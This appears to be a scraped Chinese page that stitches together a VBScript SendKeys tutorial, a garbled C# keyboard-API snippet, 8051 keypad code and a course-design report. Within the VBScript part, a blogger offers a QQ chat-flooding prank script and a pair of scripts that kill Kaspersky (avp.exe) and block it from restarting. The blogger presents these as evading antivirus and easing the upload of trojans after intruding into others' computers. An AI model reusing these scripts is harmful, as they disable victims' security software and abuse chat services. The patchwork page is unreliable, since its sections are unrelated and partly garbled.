VBS模拟键盘输入

VBS模拟键盘输入
VBS模拟键盘输入

脚本实现自动按键盘的某个键过程是:

按下F5

间隔50毫秒

松开F5

间隔3000毫秒

按下F5

间隔50毫秒

松开F5

回到第一步

批处理是不行的用VBS 很简单例子如下

Set objShell = CreateObject("Wscript.Shell")

do

WScript.Sleep 3000

objShell.SendKeys "{F5}"

WScript.Sleep 3000

objShell.SendKeys "{F5}"

loop

使用 SendKeys 方法可以将键击发送到无自动化界面的应用程序中。多数键盘字符都可用一个键击表示。某些键盘字符由多个键击组合而成(例如,CTRL+SHIFT+HOME)。要发送单个键盘字符,请将字符本身作为 string 参数发送。例如,要发送字母 x,则请发送 string 参数 "x"。

可使用 SendKeys 同时发送多个键击。为此,可将每个键击按顺序排列在一起,以此来创建表示一系列键击的复合字符串参数。例如,要发送键击 a、b 和 c,则需要发送字符串参数 "abc" 。SendKeys 方法将某些字符用作字符的修饰符(而不使用其本身的含义)。这组特殊的字符可包括圆括号、中括号、大括号,以及:

加号"+"

插入记号"^"

百分号"%"

和“非”符号"~"

用大括号 "{}" 括起这些字符可以发送它们。例如,要发送加号,请使用字符串参数 "{+}"。SendKeys中使用的中括号 "[ ]" 无任何特殊含义,但是必须把它们括在大括号中,以便容纳确实要赋予其特殊含义的应用程序(例如,对于动态数据交换(DDE) 就是这样)。

要发送左中括号字符,请发送字符串参数 "{[}";要发送右中括号字符,请发送字符串参数 "{]}"。

要发送左大括号字符,请发送字符串参数 "{{}";要发送右大括号字符,请发送字符串参数 "{}}"。

某些键击不生成字符(如 ENTER 和 TAB)。某些键击表示操作(如 BACKSPACE 和 BREAK)。要发送这些类型的键击,请发送下表中列出的参数:

空格键""

退格键{BACKSPACE} 或 {BS} 或 {BKSP}

BREAK {BREAK}

DELETE {DELETE} 或{DEL}

向下键{DOWN}

向上键{UP}

向左键{LEFT}

向右键{RIGHT}

END {END}

ENTER {ENTER} 或~

ESC {ESC}

TAB {TAB}

CAPS LOCK {CAPSLOCK}

HELP {HELP}

HOME {HOME}

INSERT {INSERT} 或{INS}

NUM LOCK {NUMLOCK}

PAGE DOWN {PGDN}

PAGE UP {PGUP}

PRINT SCREEN {PRTSC}

SCROLL LOCK {SCROLLLOCK}

F1 {F1}

F2 {F2}

F3 {F3}

F4 {F4}

F5 {F5}

F6 {F6}

F7 {F7}

F8 {F8}

F9 {F9}

F10 {F10}

F11 {F11}

F12 {F12}

要发送由常规键击和 SHIFT、CTRL 或 ALT 组合而成的键盘字符,请创建表示该键击组合的复合字符串参数。可通过在常规键击之前添加一个或多个以下特殊字符来完成上述操作:

SHIFT +

CTRL ^

ALT %

注意:这样使用时,不用大括号括起这些特殊字符。

要指定在按下多个其他键时,按下 SHIFT、CTRL 和 ALT 的组合,请创建复合字符串参数,用括号括起其中的组合键。例如,要发送的组合键指定:

如果在按 e 和 c 的同时按 SHIFT 键,则发送字符串参

数"+(ec)"。

如果在按 e 时只按 c(而不按 SHIFT),则发送字符串参

数"+ec"。

可使用SendKeys 方法发送一种在一行内重复按键的键击。为此,要创建复合字符串参数,以指定要重复的键击,并在其后指定重复次数。可使用{键击数字} 形式的复合字符串参数来完成上述操作。例如,如果要发送 10 次 "x",则需要发送字符串参数 "{x 10}"。请确保在键击和数字之间有一个空格。

注意:只可以发送重复按一个键的键击。例如,可以发送 10 次 "x",但不可发送 10 次"Ctrl+x"。

注意:不能向应用程序发

送PRINT SCREEN 键{PRTSC}。

例子1:关机脚本(模拟按键为:Ctrl + Esc、u、u )

把以下代码复制至记事本,另存为 off.vbs

set WshShell = CreateObject("WScript.Shell")

WshShell.SendKeys "^{ESC}uu"

例子2:重启脚本(模拟按键为:Ctrl + Esc、u、r )

把以下代码复制至记事本,另存为 reboot.vbs

set WshShell = CreateObject("WScript.Shell")

WshShell.SendKeys "^{ESC}ur"

例子3:切换输入法(模拟同时按下:Shift Ctrl )

set WshShell = CreateObject("WScript.Shell")

WshShell.SendKeys "+(^)"

例子4:输入 https://www.360docs.net/doc/2b718241.html,! 至记事本并保存为 CnDos.txt

Dim WshShell

Set WshShell=WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 1500

WshShell.AppActivate "无标题 - 记事本"

WshShell.SendKeys "c"

WScript.Sleep 200

WshShell.SendKeys "n"

WScript.Sleep 200

WshShell.SendKeys "-"

WScript.Sleep 200

WshShell.SendKeys "d"

WScript.Sleep 200

WshShell.SendKeys "o"

WScript.Sleep 200

WshShell.SendKeys "s"

WScript.Sleep 200

WshShell.SendKeys "."

WScript.Sleep 200

WshShell.SendKeys "n"

WScript.Sleep 200

WshShell.SendKeys "e"

WScript.Sleep 200

WshShell.SendKeys "t"

WScript.Sleep 200

WshShell.SendKeys "!"

WScript.Sleep 200

WshShell.SendKeys "%FS"

WScript.Sleep 500

WshShell.SendKeys "C"

WScript.Sleep 200

WshShell.SendKeys "n"

WScript.Sleep 200

WshShell.SendKeys "D"

WScript.Sleep 200

WshShell.SendKeys "o"

WScript.Sleep 200

WshShell.SendKeys "s"

WScript.Sleep 200

WshShell.SendKeys "%S"

WScript.Sleep 500

WshShell.SendKeys "%FX"

例子5:自动定时存盘的记事本(此脚本来自网上)

'第一部分:定义变量和对象

Dim WshShell, AutoSaveTime, TXTFileName

AutoSaveTime=(1000*60*1) '自动存盘时间为1分钟

Set WshShell=WScript.CreateObject("WScript.Shell") TXTFileName=InputBox("给文本起名(不能用中文和纯数字):") '第二部分:打开并激活记事本

WshShell.Run "notepad"

WScript.Sleep 200

WshShell.AppActivate "无标题 - 记事本"

'第三部分:用输入的文件名存盘

WshShell.SendKeys "^s"

WScript.Sleep 300

WshShell.SendKeys TXTFileName

WScript.Sleep 300

WshShell.SendKeys "%s"

WScript.Sleep AutoSaveTime

'第四部分:自动定时存盘

While WshShell.AppActivate (TXTFileName)=True

WshShell.SendKeys "^s"

WScript.Sleep AutoSaveTime

Wend

WScript.Quit

例子:

set objShell = CreateObject("Wscript.Shell")

strCommandLine = "psetup755281.exe" '启动安装程序

objShell.Run(strCommandLine)

set WshShell = CreateObject("WScript.Shell")

WScript.Sleep 2000 '延时3秒

WshShell.SendKeys "{ENTER}" '模拟按下回车键执行下一步

WScript.Sleep 300 '延时3秒

WshShell.SendKeys "{ENTER}" '模拟按下回车键执行下一步

WScript.Sleep 300 '延时3秒

WshShell.SendKeys "{ENTER}" '模拟按下回车键执行下一步

WScript.Sleep 5200 '延时3秒

WshShell.SendKeys "{ENTER}" '模拟按下回车键执行下一步

WScript.Sleep 300 '延时3秒

WshShell.SendKeys "{ENTER}" '模拟按下回车键执行下一步

WScript.Sleep 300 '延时3秒

WshShell.SendKeys "{ENTER}" '模拟按下回车键执行下一步

WScript.Sleep 200

WshShell.SendKeys "" '模拟按下空格键去除安装百度超级搜霸一行前的√号

WScript.Sleep 100

WshShell.SendKeys "{TAB}" '模拟按下 Tab 键选择安装项目

WScript.Sleep 200

WshShell.SendKeys "" '模拟按下空格键去除安装百度超级搜霸一行前的√号

WScript.Sleep 200 '延时0.3秒

WshShell.SendKeys "f" '模拟按下 F键同意协议

*************

另外方式:

<%

dim endtime

endtime=timer()

response.write "页面执行时间:"&FormatNumber(endtime*1000,3)&"毫秒"

%>

对比下面是计算相差的日期

<%

sdate="2008-1-10"

DiffADate=DateDiff("d",sdate,now)

%>

***************************************************************

VBS中SendKeys方法将响应键盘的操作,并发送此值。这样将实现许多有趣、适用、方便的功能!基本上只要键盘能完成的操作,SendKeys就能一并完成。你想到了什么?嘿嘿!下面的代码是经过我一个晚上的整理与测试。其中QQ自动登录的不成功!不是代码不行,估计是最新版QQ的保护机制!

第一个例子、将下面这段代码保存为ie.vbs,运行此vbs,将会打开我的博客。

set s = WScript.CreateObject("WScript.Shell") '创建WScript.Shell对象

app=s.Run ("iexplore") '打开IE浏览器

WScript.Sleep 1000 '这表示停顿1000毫秒,即1秒,下面一样……

s.AppActivate app

s.SendKeys "+{TAB}"

s.SendKeys "https://www.360docs.net/doc/2b718241.html,/ycosxhack"

s.SendKeys "{ENTER}"

这段代码响应了键盘三个动作:Shift+Tab聚焦于地址栏、键入

“https://www.360docs.net/doc/2b718241.html,/ycosxhack”、Enter回车。于是这样就打开我的博客了^^

第二个例子、将下面代码保存为qq.vbs,运行此vbs,将会自动输入你的QQ帐号与密码,然后登录。

set s = WScript.CreateObject("WScript.Shell")

app=s.Run ("D:\Progra~1\Tencent\QQ\QQ.exe") '你QQ的路径!

'注意Program Files要写成Progra~1,我一个晚上测试出来的答案- -!!

WScript.Sleep 1000

s.AppActivate app

s.SendKeys "+{TAB}"

WScript.Sleep 500

s.SendKeys "78669255"

s.SendKeys "{TAB}"

WScript.Sleep 500

s.SendKeys "123456"

WScript.Sleep 1000

s.SendKeys "{ENTER}"

这段代码响应了键盘五个动作:Shift+Tab、输入QQ号78669255、Tab、输入QQ密码123456、Enter回车,测试时,将这些值换成你自己的。

能懂这两个例子,其它不就可以举一反三了吗?记住只要键盘能完成的SendKeys基本都是可以完成的!那些黑客们经常用到的快捷键(基本不用鼠标就可以完成任务!)都可以模拟出来,再举个小例子,打开“任务管理器”,Ctrl+Shift+Esc对吧?看下面代码:

set s = WScript.CreateObject("WScript.Shell")

s.SendKeys "^+{ESC}"

运行后,是不是打开任务管理器啦?要关闭电脑?调用cmd?删除文件?格式硬盘?等等,通过SendKeys方法皆可轻易完成!这在某些方面也许会很有用,比如:黑客方面……

呃~~~上面的SendKeys方法是不是有点地方不明白?如:打开“任务管理器”的例子,SendKeys "^+{ESC}"中^+{ESC}为什么代表Ctrl+Shift+Esc?放心,最后我会给出MSDN的SendKeys方法的帮助文档,很简单,自己一看就会恍然大悟的!^^

最后来个有点恶作剧的例子,就是网上有点流行的“QQ消息疯狂乱发”,如何实现?看下面代码:

Set WshShell= WScript.CreateObject("WScript.Shell")

WshShell.AppActivate ""

for i=1 to 100 '循环发送消息100次!

WScript.Sleep 2000

WshShell.SendKeys "^v" '粘贴剪切板里的内容到QQ聊天面板上!

WshShell.SendKeys "%s" '发送……

next

打开某位好友或某个群的聊天面板,将此脚本代码保存为AttactQQ.vbs,运行后,将鼠标聚焦与聊天面板上,此时“攻击”就开始了……哈哈!别太疯狂了!

估计你已经了解了VBS的SendKeys方法了吧?

两个简易VBS脚本结束进程与防止进程启动

Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!('为注释)

Kill.vbs:

for each ps in getobject _

("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI脚本入侵技术,我不能解释清楚!

if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等

wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程

end if

next

Dis.vbs

dim y,x '不要这行也行……

do '来个死循环……一直在判断!do ... loop内为循环体!

set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样,这也是涉及到微软的WMI技术!

set x=y.execquery("select * from win32_process where name='avp.exe'")

'查询语句,where后判断avp.exe(卡巴)是否存在进程中!

'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非,把Dis.vbs结束了先……for each i in x

i.terminate() '卡巴要启动马上就终止……

next

wscript.sleep

loop

解释够清楚了,那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C 盘根目录下。

打开cmd,输入cd\回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript Kill.vbs 2200即可结束PID为2200的进程了!假如这个进程是avp.exe,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项,要是不结束这个进程是无法再次启动卡巴的。

懂得这些,为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了,继续完善……

******************************************************************************* Dim WshShell

Set WshShell=WScript.CreateObject("WScript.Shell")

WshShell.Run "cmd"

' 让脚本等待1000毫秒,也就是1秒再执行下一条语句

WScript.Sleep 1000

' -- 发送字符时,输入法一定要在英文件状态下

' 发送分号

WshShell.SendKeys ";"

WScript.Sleep 1000

' 发送冒号

WshShell.SendKeys ":"

WScript.Sleep 1000

' 发送双引号 -- 利用chr把双引号转换出来

WshShell.SendKeys Chr(34)

WScript.Sleep 1000

' 发送带有双引号的字符串

WshShell.SendKeys Chr(34)&"this is a string"&Chr(34)

WScript.Sleep 1000

' -- 切记,这里是模拟的击键操作,所以不能发送中文

'WshShell.SendKeys Chr(34)&"这是一个字符串"&Chr(34) WScript.Sleep 1000

' ================================================

' -- 如何模拟回车,上档键,Alt键喃?

' ================================================

' -- 如何模拟回车, -- {enter}这就代表是发送回车

WshShell.SendKeys "this is a enter!{enter}"

WScript.Sleep 1000

' -- 如何模拟上档键Shift, -- +这就代表是发送shift WshShell.SendKeys "this is +a" ' 结果为 this is A

WScript.Sleep 1000

' -- 如何模拟Alt, -- %这就代表是发送Alt

WshShell.SendKeys "this is %{TAB}" ' 结果为切换窗口WScript.Sleep 1000

' =========================================================== ' -- 那么如何发送%, + ^ 喃

WshShell.SendKeys "this is {+}{^}{%}" ' 结果为切换窗口WScript.Sleep 1000

' -- 这里你可能已经明白了,发送送特殊字符时,请放到 {} 中

' =========================================================== ' ======================================

' 更多信息请看VBS帮助文档 2009-07-26

' ======================================

c# 调用api实现模拟键盘输入举例(向QQ对话框发送字符串)

//调用API模拟键盘事件 usingSystem; usingSystem.Collections.Generic; https://www.360docs.net/doc/2b718241.html,ponentModel; usingSystem.Data; usingSystem.Drawing; usingSystem.Linq; usingSystem.Text; usingSystem.Windows.Forms; usingSystem.Diagnostics; usingMicrosoft.Win32; usingSystem.Runtime.InteropServices;//这个必须要引用 namespaceWindowsFormsApplication2{publicpartialclassForm1:Form{publicFor m1(){InitializeComponent();}//需要调用的API //找到窗口(进程名称可空,窗口名称) [System.Runtime.InteropServices.DllImport("user 32.dll",EntryPoint ="FindWindow")] publicstaticexternIntPtrFindWindow(stringlpClassName,stringlpWindowName); //把窗口放到最前面 [DllImport("USER 32.DLL")] publicstaticexternboolSetForegroundWindow(IntPtrhWnd);//模拟键盘事件

[DllImport("User 32.dll")] publicstaticexternvoidkeybd_event(BytebVk,BytebScan,Int32dwFlags,Int32dwEx traInfo); //释放按键的常量 privateconstintKEYEVENTF_KEYUP = 2; //发送消息 [DllImport("user 32.dll")] privatestaticexternintSendMessage(IntPtrhWnd,intMsg,intwParam,intlParam); [DllImport("user 32.dll")]//获取窗口大小 [return: MarshalAs(UnmanagedType.Bool)] staticexternboolGetWindowRect(IntPtrhWnd,refRECTlpRect);[StructLayout(Layo utKind.Sequential)]//获取窗口坐标 publicstructRECT{publicintLeft;//最左坐标 publicintTop;//最上坐标 publicintRight;//最右坐标 publicintBottom;//最下坐标}////显示窗口 //[DllImport("user 32.dll")]

51单片机数码管显示矩阵键盘键入值

51单片机实现数码管显示矩阵键盘键入值 #include #define uchar unsigned char uchar code decode[]={0xc0,0xf9,0xa4,0xb0,0x99,0x92,0x82,0xf8,0x80,0x90,0x88,0x83,0xc6,0xa1 ,0x86,0x8e}; void delay(uchar); uchar temp,b,c,d,num; void display(uchar); void main() { while(1) { P0=0xfe; temp=P0; temp=temp&0xf0; if(temp!=0xf0) { delay(100); if(temp!=0xf0) { switch(temp)

case 0xe0:num=0;break; case 0xd0:num=1;break; case 0xb0:num=2;break; case 0x70:num=3;break; } } } P0=0xfd; temp=P0; temp=temp&0xf0; if(temp!=0xf0) { delay(100); if(temp!=0xf0) { switch(temp) { case 0xe0:num=4;break; case 0xd0:num=5;break; case 0xb0:num=6;break; case 0x70:num=7;break;

} } P0=0xfb; temp=P0; temp=temp&0xf0; if(temp!=0xf0) { delay(100); if(temp!=0xf0) { switch(temp) { case 0xe0:num=8;break; case 0xd0:num=9;break; case 0xb0:num=10;break; case 0x70:num=11;break; } } } P0=0xf7; temp=P0;

键盘输入显示程序

#include #define uchar unsigned char #define uint unsigned int uchar code table[]={ 0x3f,0x06,0x5b,0x4f, 0x66,0x6d,0x7d,0x07, 0x7f,0x6f,0x77,0x7c, 0x39,0x5e,0x79,0x71,0x00};//0-f-最后一个空uchar j=1; sbit p37=P3^7; void delay(uint z) { uintx,y; for(x=z;x>0;x--) for(y=110;y>0;y--); } void display(ucharshu) { P1=table[shu]; delay(5); } ucharkeyscan() {

uchartemp,num; P2=0xfe; temp=P2; temp=temp&0xf0; if(temp!=0xf0) { p37=0; delay(5); temp=P2; temp=temp&0xf0; while(temp!=0xf0) { temp=P2; switch(temp) { case 0xee:num=1;break; case 0xde:num=2;break; case 0xbe:num=3;break; default:break; } while(temp!=0xf0)//**********松手检测松手后显示{ j=0;

temp=P2; temp=temp&0xf0; } } }p37=1; P2=0xfd; temp=P2; temp=temp&0xf0; if(temp!=0xf0) { p37=0; delay(5); temp=P2; temp=temp&0xf0; while(temp!=0xf0) { temp=P2; switch(temp) { case 0xed:num=4;break; case 0xdd:num=5;break; case 0xbd:num=6;break; }

基于单片机的模拟手机键盘

信息工程学院课程设计报告书题目 :基于单片机的模拟手机键盘 专业:电子信息科学与技术 班级:_ 学号: 学生姓名:_ 指导教师: 2013年10月18日

信息工程学院课程设计任务书 学号学生姓名专业(班级)电子信息 设计题目基于单片机的模拟手机键盘 单片机晶振频率:12MHz; 电源电压: +5v 设 计 技 术 参 数 编程控制单片机端口实现按键输出0~9 十个数字并在液晶上显示出来。 设 计 要 求 两天 工 作 量 注:可填写课程设计报告的字数要求或要完成的图纸数量。 工 作 计 划 [1]康华光,陈大钦 . 电子技术基础—模拟部分(第五版)[M]. 北京:高等教育出版社, 2005 参 考[2] 郭天祥 .51 单片机 C 语言教程[ M]. 北京:电子工业出版, 2012 资 料 指导教师签字教研室主任签字

信息工程学院课程设计成绩评定表 学生姓名:学号:专业(班级):电子信息 课程设计题目:基于单片机的模拟手机键盘 指导教师评语: 成绩: 指导教师: 年月日

摘要 本文是做基于89C52 单片机的手机键盘的设计;利用P0 端 3*4 的键值来模拟手机键盘 中的数字,将采用编程的方法来实现使用12 个键来做到0 到 9 的数字输出和退位清零,并 在液晶屏上显示。手机作为现代移动通信的载体,其技术也得到了很大的发展,手机的键盘布局已经成了各大厂商门竞争的主要方面,本次设计提高了我们对单片机的操作能力,让我们更加认识到单片机的广阔前景,对于我们更加深入学习和了解单片机提供了极大的帮助。 关键词:矩阵键盘,LCD液晶屏, 89C52 单片机。

从键盘输入数据并显示实验

实验四从键盘输入数据并显示实验 【实验目的】 1.掌握键盘输入字符的方法和十六进制数字字符的ASCII码转换为二进制数的原理。 2.掌握子程序定义和调用的方法。 3.掌握循环移位指令的用法和无符号数比较大小的方法。 【实验性质】 验证性实验(学时数:2H) 【实验内容】 从键盘上输入4位十六进制数,将其转换为16位二进制数并在显示器上显示出来。要求输入的数字字符串以回车键结束。如果输入的数字超过4个,则以最后输入的4个为准。若按下的键不是十六进制数字字符,则显示出错信息。 参考程序: 【实验提示】 从键盘上输入的十六进制数字字符进入计算机后并不是相应的十六进制数或二进制数,而是与字符对应的ASCII码,现要找出ASCII码与该数字对应的二进制数之间的关系。关系如下: 十六进制数字字符字符对应的ASCII码数字对应的二进制数 0 ~930H ~39H ASCII码- 30H A ~F41H ~46H ASCII码- 37H a ~f61H ~66H ASCII码- 57H 【报告要求】 1.给出该问题的程序设计流程图。 2.给出该程序的全部代码,并加上注释。 3.总结实验体会。 CRLF MACRO MOV AH,02H MOV DL,0DH INT 21H MOV AH,02H MOV DL,0AH INT 21H ENDM DATA SEGMENT

MARK DB MESS DB '输入四位十六进制数,按回车键转化为二进制数,空格键结束!',0DH,0AH,'输入:$' ERROR DB 0DH,0AH, '输入错误!',0DH,0AH,'$' DATA ENDS STACK SEGMENT STA DW 32 DUP() TOP DW STACK ENDS CODE SEGMENT ASSUME CS:CODE,DS:DATA,ES:DATA,SS:STACK START: MOV AX,DATA MOV DS,AX MOV ES,AX MOV SP,TOP HEAD: CRLF MOV MARK,0 MOV AH,09H LEA DX,MESS INT 21H ;显示提示输入的信息 CALL GETNUM ;接收键入数值送DX CMP MARK,01H JE HEAD MOV CX,0010H ;16位 MOV BX,DX TTT: ROL BX,1 ;循环左移1位 MOV DL,BL AND DL,01H ;屏蔽掉高7位 ADD DL,30H MOV AH,02H INT 21H ;显示二进制位对应的ASCII字符 LOOP TTT JMP HEAD FINI: MOV AX,4C00H INT 21H ;返回DOS GETNUM PROC NEAR ;子程序,接收键入数值送DX PUSH CX XOR DX,DX GGG: MOV AH,01H INT 21H CMP AL,0DH ;输入为回车,则进行转换 JE PPP CMP AL,20H ;输入为空格,则退回DOS JE FINI CMP AL,30H JB KKK SUB AL,30H

VC 模拟鼠标和键盘输入

VC 模拟鼠标和键盘输入 - 天下 - 博客频道 - https://www.360docs.net/doc/2b718241.html, 模拟鼠标点击: 1、这里是鼠标左键按下和松开两个事件的组合即一次单击: mouse_event (MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 ) 2、模拟鼠标右键单击事件: mouse_event (MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0 ) 3、两次连续的鼠标左键单击事件构成一次鼠标双击事件: mouse_event (MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 ) mouse_event (MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 ) 4、使用绝对坐标 MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE, 500, 500, 0, 0 需要说明的是,如果没有使用MOUSEEVENTF_ABSOLUTE,函数默认的是相对于鼠标当前位置的点,如果dx,和dy,用0,0表示,这函数认为是当前鼠标所在的点--直接设定绝对坐标并单击 mouse_event(MOUSEEVENTF_LEFTDOWN, X * 65536 / 1024, Y * 65536 / 768, 0, 0); mouse_event(MOUSEEVENTF_LEFTUP, X * 65536 / 1024, Y * 65536 / 768, 0, 0); 其中X,Y分别是你要点击的点的横坐标和纵坐标 模拟键盘输入: [cpp] void EnterString(const char* text) { bool bShift = false; size_t length = strlen(text); for(size_t index = 0;index < length;index++) { int val = text[index]; if(val >= 97 && val <= 122) //小写a-z { val -= 32; bShift = false; } else if(val >= 65 && val <= 90) //大写A-Z { bShift = true;

模拟键盘输入

模拟键盘输入 Dim wshShell Set wshShell = CreateObject("Wscript.Shell") WshShell.SendKeys "{DOWN}" 留着,以后也许有用。 vbs经典回顾之[键盘输入方法]wshShell.SendKeys [键盘输入方法]wshShell.SendKeys 方法探析(2010-09-30 14:35:11) 模拟键盘操作,将一个或多个按键指令发送到指定Windows窗口来控制应用程序运行, 其使用格式为:object.SendKeys(string) “object”:表示WshShell对象 “string”:表示要发送的按键指令字符串,需要放在英文双引号中。 Dim wshShell Set wshShell = CreateObject("Wscript.Shell") wshShell.SendKeys "{ENTER}" '模拟键盘操作回车 ----------------------------------- 1.基本键 一般来说,要发送的按键指令都可以直接用该按键字符本身来表示,例如要发送字母“x”,使用“WshS hell.SendKeys "x"”即可。当然,也可直接发送多个按键指令,只需要将按键字符按顺序排列在一起即可,例如,要发送按键“happy”,可以使用“WshShell.SendKeys "happy"”。 2.特殊功能键 对于需要与Shift、Ctrl、Alt三个控制键组合的按键,SendKeys使用特殊字符来表示: Shift---------WshShell.SendKeys "+" Ctrl---------WshShell.SendKeys "^" Alt---------WshShell.SendKeys "%" (注意:这样使用时,不用大括号括起这些特殊字符。) 由于“+”、“^”这些字符用来表示特殊的控制按键了,如何表示这些”字符”的按键呢?只要用大括号括住这些字符即可。例如: 要发送加号“+”,可使用“WshShell.SendKeys"{+}"” 另外对于一些不会生成字符的控制功能按键,也同样需要使用大括号括起来按键的名称。--如果发送是基本字符用“”括起来。 例如要发送回车键,需要用“ WshShell.SendKeys "{ENTER}" ”表示; 发送向下的方向键用“ Wshshell.SendKeys "{DOWN}" ”表示。 Space---------WshShell.SendKeys " " Enter---------WshShell.SendKeys "{ENTER}"

串口模拟键盘输入程序使用说明

串口模拟键盘输入程序使用说明 1.软件界面如下: 2.使用前,选择与发卡器相对应的参数; a)串口选择: 发卡器连接电脑所对应的串口号; i.(如果使用的USB转串口则,是虚拟的串口号),台式电脑一般默认COM1; b)读卡器选择: 发卡器类型选择; i.915Mz 无源发卡器 ii. 2.4G 有源发卡器 c)卡号输出模式: 发卡器输出数据模式; i.十进制; ii.十六进制; iii.韦根8位十进制; iv.以卡号长度8位,16进制,韦根34 卡号为例;2A 34 5F 23: 1.十进制表示: 0708075299 2.十六进制表示:2A345F23 3.韦根8位卡号表示:04213407; d)是否带回车符: 发卡器是否在数据末位输出换行符号; i.选中模式: 0708075299 0708075299 ii.未选中模式: 07080752990708075299 e)卡号输出长度: 发卡器输出数据长度; i.卡号不够位数则再前面补0; f)卡号输出位置: 针对于915Mz标签12个字节,24位数据韦根偏移量定制;

USB转串口驱动安装步骤 1.插入光盘,系统自动运行安装软件(有的光驱不支持自动运行,就到光盘根目录上双击打开AutoRun 文件)。程序开机界面如下图: 用鼠标点击红色椭圆圈中的“驱动程式”图标 2.进入下一步,打开红色椭圆圈中的文件夹“win_98Se_me_2000_xp_vista”: 3.运行红色椭圆圈中的程序“PL-2303 Drive Installer.exe”

4.运行后如下图: 5.点击“下一步”进入 在安装完成后,插入转接头(如果安装前曾插入过,则要求拔出转接头,重新插入它),系统会重新发现这个设备并为它安装相应的驱动程序(有的系统要求重新启动计算机)。 6.安装完成后的检查:在控制面板中 系统

键盘及LED显示实验

实验三键盘及LED显示实验 一、实验内容 利用8255可编程并行接口控制键盘及显示器,当有按键按下时向单片机发送外部中断请求(INT0,INT1),单片机扫描键盘,并把按键输入的键码一位LED 显示器显示出来。 二、实验目的及要求 (一)实验目的 通过该综合性实验,使学生掌握8255扩展键盘和显示器的接口方法及C51语言的编程方法,进一步掌握键盘扫描和LED显示器的工作原理;培养学生一定的动手能力。 (二)实验要求 1.学生在实验课前必须认真预习教科书与指导书中的相关内容,绘制流程图,编写C51语言源程序,为实验做好充分准备。 2.该实验要求学生综合利用前期课程及本门课程中所学的相关知识点,充分发挥自己的个性及创造力,独立操作完成实验内容,并写出实验报告。 三、实验条件及要求 计算机,C51语言编辑、调试仿真软件及实验箱50台套。 四、实验相关知识点 1.C51编程、调试。 2.扩展8255芯片的原理及应用。 3.键盘扫描原理及应用。 4.LED显示器原理及应用。 5.外部中断的应用。 五、实验说明 本实验仪提供了8位8段LED显示器,学生可选用任一位LED显示器,只要按地址输出相应的数据,就可以显示所需数码。 六、实验原理图

P1口桥接。 八、实验参考流程图 1.主程序流程图

2.外中断服务程序流程图 外部中断0 外部中断1 定时器0中断程序,用于消抖动:

3.LED显示程序流程图 九、C51语言参考源程序 #include "reg52.h" unsigned char KeyResult; //存放键值 unsigned char buffer[8]; //显示缓冲区 bit bKey; //是否有键按下 xdata unsigned char P_8255 _at_ 0xf003; //8255的控制口 xdata unsigned char PA_8255 _at_ 0xf000; //8255的PA口 xdata unsigned char PB_8255 _at_ 0xf001; //8255的PB口 xdata unsigned char PC_8255 _at_ 0xf002; //8255的PC口 code unsigned char SEG_TAB[] = { //段码 0xfc,0x60,0xda,0xf2,0x66,0xb6,0xbe,0xe0,0xfe,0xf6,0xee,0x3e,0x9c,0x7a,0x9e,0x8e,0x0}; sbit bLine0 = P3^2; sbit bLine1 = P3^3; //延时1ms void Delay1ms() { unsigned char i;

LCD1602按键盘输入显示

名称:LCD1602 论坛:https://www.360docs.net/doc/2b718241.html, 编写:shifang 日期:2009.5 修改:无 内容:通过矩阵键盘输入,依次显示0-F16中字符 引脚定义如下:1-VSS 2-VDD 3-V0 4-RS 5-R/W 6-E 7-14 DB0-DB7 15-BLA 16-BLK ------------------------------------------------*/ #include //包含头文件,一般情况不需要改动,头文件包含特殊功能寄存器的定义#include sbit RS = P2^4; //定义端口 sbit RW = P2^5; sbit EN = P2^6; #define RS_CLR RS=0 #define RS_SET RS=1 #define RW_CLR RW=0 #define RW_SET RW=1 #define EN_CLR EN=0 #define EN_SET EN=1 #define DataPort P0 #define KeyPort P1 unsigned char code dofly_code[]={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};//转换成液晶显示的字符 /*------------------------------------------------ uS延时函数,含有输入参数unsigned char t,无返回值 unsigned char 是定义无符号字符变量,其值的范围是 0~255 这里使用晶振12M,精确延时请使用汇编,大致延时 长度如下T=tx2+5 uS ------------------------------------------------*/ void DelayUs2x(unsigned char t) { while(--t); } /*------------------------------------------------ mS延时函数,含有输入参数unsigned char t,无返回值 unsigned char 是定义无符号字符变量,其值的范围是 0~255 这里使用晶振12M,精确延时请使用汇编

基于单片机的模拟手机键盘

信息工程学院课程设计报告书题目: 基于单片机的模拟手机键盘 专业:电子信息科学与技术 班级: _ 学号: 学生姓名: _ 指导教师: 2013年 10月 18日

信息工程学院课程设计任务书

信息工程学院课程设计成绩评定表

摘要 本文是做基于89C52单片机的手机键盘的设计;利用P0端3*4的键值来模拟手机键盘中的数字,将采用编程的方法来实现使用12个键来做到0到9的数字输出和退位清零,并在液晶屏上显示。手机作为现代移动通信的载体,其技术也得到了很大的发展,手机的键盘布局已经成了各大厂商门竞争的主要方面,本次设计提高了我们对单片机的操作能力,让我们更加认识到单片机的广阔前景,对于我们更加深入学习和了解单片机提供了极大的帮助。关键词:矩阵键盘,LCD液晶屏,89C52单片机。

目录 1 任务提出与方案论证.............................................................................................................. - 2 - 1.1方案一...................................................................................................................... - 2 - 1.2 方案二.......................................................................................................................... - 2 - 1.3方案对比与选择............................................................................................................ - 2 - 2. 系统硬件电路的设计............................................................................................................. - 4 - 2.1 微处理器的选择........................................................................................................... - 4 - 